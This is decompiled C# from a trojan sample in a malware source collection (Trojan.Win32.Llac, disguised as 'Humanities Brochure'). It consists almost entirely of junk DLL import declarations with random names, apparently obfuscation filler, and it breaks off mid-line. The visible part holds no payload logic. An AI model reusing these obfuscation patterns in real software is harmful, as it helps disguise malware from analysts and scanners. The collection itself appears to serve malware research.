MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684/nEHKCapiSBDXzFS.cs

// Decompiled with JetBrains decompiler
// Type: nEHKCapiSBDXzFS
// Assembly: Humanities Brochure, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 52299A9A-4AA4-4108-B5D3-F7828126CA81
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aagm-a1de981948b7415a4407eaa794cf1d79cc909c19ce8bb77b92ae1d70972c7684.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Runtime.InteropServices;
using System.Text;

public class nEHKCapiSBDXzFS
{
  [DllImport("wldap32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern long ldap_close_extended_op(ref IntPtr ld, long MessageNumber);

  [DllImport("mzIrr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AtiDt([MarshalAs(UnmanagedType.VBByRefStr)] ref string fQrOc, string[] pVobe, char ErplC);

  [DllImport("RehuQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AUrPU([MarshalAs(UnmanagedType.VBByRefStr)] ref string RdngL, string[] bsNgb, char PuEFD);

  [DllImport("mlBEG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HsntV([MarshalAs(UnmanagedType.VBByRefStr)] ref string zVnfP, string[] vASvB, char ObtHu);

  [DllImport("oEqtT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hHfeF([MarshalAs(UnmanagedType.VBByRefStr)] ref string uFBRP, string[] nHgZT, char gzMhT);

  [DllImport("Ieiqg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fDvcd([MarshalAs(UnmanagedType.VBByRefStr)] ref string MTUSZ, string[] uDLoC, char BQTVO);

  [DllImport("PlNQf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oDugN([MarshalAs(UnmanagedType.VBByRefStr)] ref string dLZzz, string[] ZhtUq, char TsLmM);

  [DllImport("Zipmv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UQiRp([MarshalAs(UnmanagedType.VBByRefStr)] ref string Odlmu, string[] SNrsb, char gAGvd);

  [DllImport("SbrRQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VZUcM([MarshalAs(UnmanagedType.VBByRefStr)] ref string hVbQq, string[] SzveR, char neThs);

  [DllImport("zLnGm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ccOOp([MarshalAs(UnmanagedType.VBByRefStr)] ref string IcodZ, string[] SmiFp, char AFCNf);

  [DllImport("PtIqv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fBCMi([MarshalAs(UnmanagedType.VBByRefStr)] ref string PVNso, string[] pnrdU, char eGiSl);

  [DllImport("OAtiD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oqhGl([MarshalAs(UnmanagedType.VBByRefStr)] ref string tmzIr, string[] rfQrO, char cpVob);

  [DllImport("CAUrP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eErpl([MarshalAs(UnmanagedType.VBByRefStr)] ref string URehu, string[] QRdng, char LbsNg);

  [DllImport("DHsnt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bPuEF([MarshalAs(UnmanagedType.VBByRefStr)] ref string VmlBE, string[] GzVnf, char PvASv);

  [DllImport("uhHfe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BObtH([MarshalAs(UnmanagedType.VBByRefStr)] ref string FoEqt, string[] TuFBR, char PnHgZ);

  [DllImport("TfDvc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TgzMh([MarshalAs(UnmanagedType.VBByRefStr)] ref string dIeiq, string[] gMTUS, char ZuDLo);

  [DllImport("OoDug.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CBQTV([MarshalAs(UnmanagedType.VBByRefStr)] ref string NPlNQ, string[] fdLZz, char zZhtU);

  [DllImport("MUQiR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qTsLm([MarshalAs(UnmanagedType.VBByRefStr)] ref string pZipm, string[] vOdlm, char uSNrs);

  [DllImport("dVZUc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bgAGv([MarshalAs(UnmanagedType.VBByRefStr)] ref string MSbrR, string[] QhVbQ, char qSzve);

  [DllImport("sccOO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RneTh([MarshalAs(UnmanagedType.VBByRefStr)] ref string pzLnG, string[] mIcod, char ZSmiF);

  [DllImport("ffBCM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pAFCN([MarshalAs(UnmanagedType.VBByRefStr)] ref string iPtIq, string[] vPVNs, char opnrd);

  [DllImport("loqhG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UeGiS([MarshalAs(UnmanagedType.VBByRefStr)] ref string lOAti, string[] DtmzI, char rrfQr);

  [DllImport("beErp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OcpVo([MarshalAs(UnmanagedType.VBByRefStr)] ref string lCAUr, string[] PUReh, char uQRdn);

  [DllImport("gbPuE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gLbsN([MarshalAs(UnmanagedType.VBByRefStr)] ref string FDHsn, string[] tVmlB, char EGzVn);

  [DllImport("vBObt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fPvAS([MarshalAs(UnmanagedType.VBByRefStr)] ref string HuhHf, string[] eFoEq, char tTuFB);

  [DllImport("ZTgzM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RPnHg([MarshalAs(UnmanagedType.VBByRefStr)] ref string hTfDv, string[] cdIei, char qgMTU);

  [DllImport("oCBQT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SZuDL([MarshalAs(UnmanagedType.VBByRefStr)] ref string VOoDu, string[] gNPlN, char QfdLZ);

  [DllImport("UqTsL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zzZht([MarshalAs(UnmanagedType.VBByRefStr)] ref string mMUQi, string[] RpZip, char mvOdl);

  [DllImport("sbgAG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] muSNr([MarshalAs(UnmanagedType.VBByRefStr)] ref string vdVZU, string[] cMSbr, char RQhVb);

  [DllImport("eRneT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QqSzv([MarshalAs(UnmanagedType.VBByRefStr)] ref string hsccO, string[] OpzLn, char GmIco);

  [DllImport("FpAFC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dZSmi([MarshalAs(UnmanagedType.VBByRefStr)] ref string NffBC, string[] MiPtI, char qvPVN);

  [DllImport("dUeGi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sopnr([MarshalAs(UnmanagedType.VBByRefStr)] ref string Sloqh, string[] GlOAt, char iDtmz);

  [DllImport("rOcpV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IrrfQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string obeEr, string[] plCAU, char rPURe);

  [DllImport("ngLbs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] huQRd([MarshalAs(UnmanagedType.VBByRefStr)] ref string NgbPu, string[] EFDHs, char ntVml);

  [DllImport("nfPvA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BEGzV([MarshalAs(UnmanagedType.VBByRefStr)] ref string SvBOb, string[] tHuhH, char feFoE);

  [DllImport("BRPnH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qtTuF([MarshalAs(UnmanagedType.VBByRefStr)] ref string gZTgz, string[] MhTfD, char vcdIe);

  [DllImport("USZuD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iqgMT([MarshalAs(UnmanagedType.VBByRefStr)] ref string LoCBQ, string[] TVOoD, char ugNPl);

  [DllImport("bQqSz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rRQhV([MarshalAs(UnmanagedType.VBByRefStr)] ref string veRne, string[] Thscc, char OOpzL);

  [DllImport("odZSm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nGmIc([MarshalAs(UnmanagedType.VBByRefStr)] ref string iFpAF, string[] CNffB, char CMiPt);

  [DllImport("Nsopn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IqvPV([MarshalAs(UnmanagedType.VBByRefStr)] ref string rdUeG, string[] iSloq, char hGlOA);

  [DllImport("zIrrf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tiDtm([MarshalAs(UnmanagedType.VBByRefStr)] ref string QrOcp, string[] VobeE, char rplCA);

  [DllImport("ehuQR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UrPUR([MarshalAs(UnmanagedType.VBByRefStr)] ref string dngLb, string[] sNgbP, char uEFDH);

  [DllImport("lBEGz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sntVm([MarshalAs(UnmanagedType.VBByRefStr)] ref string VnfPv, string[] ASvBO, char btHuh);

  [DllImport("EqtTu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HfeFo([MarshalAs(UnmanagedType.VBByRefStr)] ref string FBRPn, string[] HgZTg, char zMhTf);

  [DllImport("eiqgM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DvcdI([MarshalAs(UnmanagedType.VBByRefStr)] ref string TUSZu, string[] DLoCB, char QTVOo);

  [DllImport("lNQfd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DugNP([MarshalAs(UnmanagedType.VBByRefStr)] ref string LZzzZ, string[] htUqT, char sLmMU);

  [DllImport("ipmvO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QiRpZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string dlmuS, string[] Nrsbg, char AGvdV);

  [DllImport("brRQh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZUcMS([MarshalAs(UnmanagedType.VBByRefStr)] ref string VbQqS, string[] zveRn, char eThsc);

  [DllImport("LnGmI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cOOpz([MarshalAs(UnmanagedType.VBByRefStr)] ref string codZS, string[] miFpA, char FCNff);

  [DllImport("tIqvP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BCMiP([MarshalAs(UnmanagedType.VBByRefStr)] ref string VNsop, string[] nrdUe, char GiSlo);

  [DllImport("AtiDt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qhGlO([MarshalAs(UnmanagedType.VBByRefStr)] ref string mzIrr, string[] fQrOc, char pVobe);

  [DllImport("AUrPU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ErplC([MarshalAs(UnmanagedType.VBByRefStr)] ref string RehuQ, string[] RdngL, char bsNgb);

  [DllImport("HsntV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PuEFD([MarshalAs(UnmanagedType.VBByRefStr)] ref string mlBEG, string[] zVnfP, char vASvB);

  [DllImport("hHfeF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ObtHu([MarshalAs(UnmanagedType.VBByRefStr)] ref string oEqtT, string[] uFBRP, char nHgZT);

  [DllImport("fDvcd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gzMhT([MarshalAs(UnmanagedType.VBByRefStr)] ref string Ieiqg, string[] MTUSZ, char uDLoC);

  [DllImport("UQiRp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TsLmM([MarshalAs(UnmanagedType.VBByRefStr)] ref string Zipmv, string[] Odlmu, char SNrsb);

  [DllImport("VZUcM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gAGvd([MarshalAs(UnmanagedType.VBByRefStr)] ref string SbrRQ, string[] hVbQq, char SzveR);

  [DllImport("ccOOp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] neThs([MarshalAs(UnmanagedType.VBByRefStr)] ref string zLnGm, string[] IcodZ, char SmiFp);

  [DllImport("fBCMi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AFCNf([MarshalAs(UnmanagedType.VBByRefStr)] ref string PtIqv, string[] PVNso, char pnrdU);

  [DllImport("oqhGl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eGiSl([MarshalAs(UnmanagedType.VBByRefStr)] ref string OAtiD, string[] tmzIr, char rfQrO);

  [DllImport("bPuEF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LbsNg([MarshalAs(UnmanagedType.VBByRefStr)] ref string DHsnt, string[] VmlBE, char GzVnf);

  [DllImport("BObtH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PvASv([MarshalAs(UnmanagedType.VBByRefStr)] ref string uhHfe, string[] FoEqt, char TuFBR);

  [DllImport("TgzMh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PnHgZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string TfDvc, string[] dIeiq, char gMTUS);

  [DllImport("CBQTV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZuDLo([MarshalAs(UnmanagedType.VBByRefStr)] ref string OoDug, string[] NPlNQ, char fdLZz);

  [DllImport("qTsLm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zZhtU([MarshalAs(UnmanagedType.VBByRefStr)] ref string MUQiR, string[] pZipm, char vOdlm);

  [DllImport("bgAGv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uSNrs([MarshalAs(UnmanagedType.VBByRefStr)] ref string dVZUc, string[] MSbrR, char QhVbQ);

  [DllImport("RneTh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qSzve([MarshalAs(UnmanagedType.VBByRefStr)] ref string sccOO, string[] pzLnG, char mIcod);

  [DllImport("pAFCN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZSmiF([MarshalAs(UnmanagedType.VBByRefStr)] ref string ffBCM, string[] iPtIq, char vPVNs);

  [DllImport("UeGiS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] opnrd([MarshalAs(UnmanagedType.VBByRefStr)] ref string loqhG, string[] lOAti, char DtmzI);

  [DllImport("OcpVo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rrfQr([MarshalAs(UnmanagedType.VBByRefStr)] ref string beErp, string[] lCAUr, char PUReh);

  [DllImport("gLbsN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uQRdn([MarshalAs(UnmanagedType.VBByRefStr)] ref string gbPuE, string[] FDHsn, char tVmlB);

  [DllImport("fPvAS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EGzVn([MarshalAs(UnmanagedType.VBByRefStr)] ref string vBObt, string[] HuhHf, char eFoEq);

  [DllImport("RPnHg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tTuFB([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZTgzM, string[] hTfDv, char cdIei);

  [DllImport("SZuDL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qgMTU([MarshalAs(UnmanagedType.VBByRefStr)] ref string oCBQT, string[] VOoDu, char gNPlN);

  [DllImport("zzZht.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QfdLZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string UqTsL, string[] mMUQi, char RpZip);

  [DllImport("muSNr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mvOdl([MarshalAs(UnmanagedType.VBByRefStr)] ref string sbgAG, string[] vdVZU, char cMSbr);

  [DllImport("QqSzv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RQhVb([MarshalAs(UnmanagedType.VBByRefStr)] ref string eRneT, string[] hsccO, char OpzLn);

  [DllImport("dZSmi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GmIco([MarshalAs(UnmanagedType.VBByRefStr)] ref string FpAFC, string[] NffBC, char MiPtI);

  [DllImport("sopnr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qvPVN([MarshalAs(UnmanagedType.VBByRefStr)] ref string dUeGi, string[] Sloqh, char GlOAt);

  [DllImport("IrrfQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iDtmz([MarshalAs(UnmanagedType.VBByRefStr)] ref string rOcpV, string[] obeEr, char plCAU);

  [DllImport("huQRd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rPURe([MarshalAs(UnmanagedType.VBByRefStr)] ref string ngLbs, string[] NgbPu, char EFDHs);

  [DllImport("BEGzV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ntVml([MarshalAs(UnmanagedType.VBByRefStr)] ref string nfPvA, string[] SvBOb, char tHuhH);

  [DllImport("qtTuF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] feFoE([MarshalAs(UnmanagedType.VBByRefStr)] ref string BRPnH, string[] gZTgz, char MhTfD);

  [DllImport("iqgMT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vcdIe([MarshalAs(UnmanagedType.VBByRefStr)] ref string USZuD, string[] LoCBQ, char TVOoD);

  [DllImport("NQfdL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ugNPl([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZzzZh, string[] tUqTs, char LmMUQ);

  [DllImport("pmvOd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iRpZi([MarshalAs(UnmanagedType.VBByRefStr)] ref string lmuSN, string[] rsbgA, char GvdVZ);

  [DllImport("rRQhV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UcMSb([MarshalAs(UnmanagedType.VBByRefStr)] ref string bQqSz, string[] veRne, char Thscc);

  [DllImport("nGmIc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OOpzL([MarshalAs(UnmanagedType.VBByRefStr)] ref string odZSm, string[] iFpAF, char CNffB);

  [DllImport("IqvPV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CMiPt([MarshalAs(UnmanagedType.VBByRefStr)] ref string Nsopn, string[] rdUeG, char iSloq);

  [DllImport("tiDtm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hGlOA([MarshalAs(UnmanagedType.VBByRefStr)] ref string zIrrf, string[] QrOcp, char VobeE);

  [DllImport("UrPUR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rplCA([MarshalAs(UnmanagedType.VBByRefStr)] ref string ehuQR, string[] dngLb, char sNgbP);

  [DllImport("sntVm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uEFDH([MarshalAs(UnmanagedType.VBByRefStr)] ref string lBEGz, string[] VnfPv, char ASvBO);

  [DllImport("HfeFo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] btHuh([MarshalAs(UnmanagedType.VBByRefStr)] ref string EqtTu, string[] FBRPn, char HgZTg);

  [DllImport("DvcdI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zMhTf([MarshalAs(UnmanagedType.VBByRefStr)] ref string eiqgM, string[] TUSZu, char DLoCB);

  [DllImport("DugNP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QTVOo([MarshalAs(UnmanagedType.VBByRefStr)] ref string lNQfd, string[] LZzzZ, char htUqT);

  [DllImport("QiRpZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sLmMU([MarshalAs(UnmanagedType.VBByRefStr)] ref string ipmvO, string[] dlmuS, char Nrsbg);

  [DllImport("ZUcMS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AGvdV([MarshalAs(UnmanagedType.VBByRefStr)] ref string brRQh, string[] VbQqS, char zveRn);

  [DllImport("cOOpz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eThsc([MarshalAs(UnmanagedType.VBByRefStr)] ref string LnGmI, string[] codZS, char miFpA);

  [DllImport("BCMiP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FCNff([MarshalAs(UnmanagedType.VBByRefStr)] ref string tIqvP, string[] VNsop, char nrdUe);

  [DllImport("qhGlO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GiSlo([MarshalAs(UnmanagedType.VBByRefStr)] ref string AtiDt, string[] mzIrr, char fQrOc);

  [DllImport("ErplC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pVobe([MarshalAs(UnmanagedType.VBByRefStr)] ref string AUrPU, string[] RehuQ, char RdngL);

  [DllImport("PuEFD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bsNgb([MarshalAs(UnmanagedType.VBByRefStr)] ref string HsntV, string[] mlBEG, char zVnfP);

  [DllImport("ObtHu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vASvB([MarshalAs(UnmanagedType.VBByRefStr)] ref string hHfeF, string[] oEqtT, char uFBRP);

  [DllImport("gzMhT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nHgZT([MarshalAs(UnmanagedType.VBByRefStr)] ref string fDEhi, string[] Plpvn, char Rcdbf);

  [DllImport("GVceT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DIQuH([MarshalAs(UnmanagedType.VBByRefStr)] ref string tICnS, string[] UqSZn, char iQfEE);

  [DllImport("cAQrR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] foBdv([MarshalAs(UnmanagedType.VBByRefStr)] ref string eVpZu, string[] fpurD, char TiqsC);

  [DllImport("nFNDi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bTzAg([MarshalAs(UnmanagedType.VBByRefStr)] ref string efdhS, string[] bhzZV, char oegVv);

  [DllImport("tlcpA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bEDlZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string hhTTu, string[] EQsNr, char Phtig);

  [DllImport("FMHSm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] brpMu([MarshalAs(UnmanagedType.VBByRefStr)] ref string mGHRq, string[] VBPvD, char UeSAt);

  [DllImport("lOpbq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uszld([MarshalAs(UnmanagedType.VBByRefStr)] ref string tvoNq, string[] TFBpL, char BrFPz);

  [DllImport("huetg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zmVzT([MarshalAs(UnmanagedType.VBByRefStr)] ref string mLAvq, string[] HFdzU, char dZloC);

  [DllImport("QgASn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VZiso([MarshalAs(UnmanagedType.VBByRefStr)] ref string gUCLM, string[] IOAsB, char frqGL);

  [DllImport("UDFbD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NEesm([MarshalAs(UnmanagedType.VBByRefStr)] ref string HUgBO, string[] CoOml, char MtLvC);

  [DllImport("UsOnf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cCNGZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string cnERo, string[] dmIEh, char iPlpv);

  [DllImport("fDIQu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nRcdb([MarshalAs(UnmanagedType.VBByRefStr)] ref string HGVce, string[] TtICn, char SUqSZ);

  [DllImport("EfoBd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] niQfE([MarshalAs(UnmanagedType.VBByRefStr)] ref string vcAQr, string[] ReVpZ, char ufpur);

  [DllImport("CbTzA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DTiqs([MarshalAs(UnmanagedType.VBByRefStr)] ref string gnFND, string[] iefdh, char SbhzZ);

  [DllImport("vbEDl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VoegV([MarshalAs(UnmanagedType.VBByRefStr)] ref string Ztlcp, string[] AhhTT, char uEQsN);

  [DllImport("gbrpM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rPhti([MarshalAs(UnmanagedType.VBByRefStr)] ref string uFMHS, string[] mmGHR, char qVBPv);

  [DllImport("tuszl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DUeSA([MarshalAs(UnmanagedType.VBByRefStr)] ref string dlOpb, string[] qtvoN, char qTFBp);

  [DllImport("zzmVz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LBrFP([MarshalAs(UnmanagedType.VBByRefStr)] ref string Thuet, string[] gmLAv, char qHFdz);

  [DllImport("CVZis.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UdZlo([MarshalAs(UnmanagedType.VBByRefStr)] ref string oQgAS, string[] ngUCL, char MIOAs);

  [DllImport("LNEes.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BfrqG([MarshalAs(UnmanagedType.VBByRefStr)] ref string mUDFb, string[] DHUgB, char OCoOm);

  [DllImport("CcCNG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lMtLv([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZUsOn, string[] fcnER, char odmIE);

  [DllImport("vnRcd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hiPlp([MarshalAs(UnmanagedType.VBByRefStr)] ref string bfDIQ, string[] uHGVc, char eTtIC);

  [DllImport("ZniQf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nSUqS([MarshalAs(UnmanagedType.VBByRefStr)] ref string EEfoB, string[] dvcAQ, char rReVp);

  [DllImport("rDTiq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Zufpu([MarshalAs(UnmanagedType.VBByRefStr)] ref string sCbTz, string[] AgnFN, char Diefd);

  [DllImport("ZVoeg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hSbhz([MarshalAs(UnmanagedType.VBByRefStr)] ref string VvbED, string[] lZtlc, char pAhhT);

  [DllImport("NrPht.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TuEQs([MarshalAs(UnmanagedType.VBByRefStr)] ref string igbrp, string[] MuFMH, char SmmGH);

  [DllImport("vDUeS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RqVBP([MarshalAs(UnmanagedType.VBByRefStr)] ref string Atusz, string[] ldlOp, char bqtvo);

  [DllImport("pLBrF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NqTFB([MarshalAs(UnmanagedType.VBByRefStr)] ref string PzzmV, string[] zThue, char tgmLA);

  [DllImport("zUdZl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vqHFd([MarshalAs(UnmanagedType.VBByRefStr)] ref string oCVZi, string[] soQgA, char SngUC);

  [DllImport("mlMtL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BOCoO([MarshalAs(UnmanagedType.VBByRefStr)] ref string vCcCN, string[] GZUsO, char nfcnE);

  [DllImport("EhiPl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RodmI([MarshalAs(UnmanagedType.VBByRefStr)] ref string pvnRc, string[] dbfDI, char QuHGV);

  [DllImport("CnSUq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ceTtI([MarshalAs(UnmanagedType.VBByRefStr)] ref string SZniQ, string[] fEEfo, char BdvcA);

  [DllImport("pZufp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QrReV([MarshalAs(UnmanagedType.VBByRefStr)] ref string urDTi, string[] qsCbT, char zAgnF);

  [DllImport("dhSbh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NDief([MarshalAs(UnmanagedType.VBByRefStr)] ref string zZVoe, string[] gVvbE, char DlZtl);

  [DllImport("TTuEQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cpAhh([MarshalAs(UnmanagedType.VBByRefStr)] ref string sNrPh, string[] tigbr, char pMuFM);

  [DllImport("HRqVB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HSmmG([MarshalAs(UnmanagedType.VBByRefStr)] ref string PvDUe, string[] SAtus, char zldlO);

  [DllImport("oNqTF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
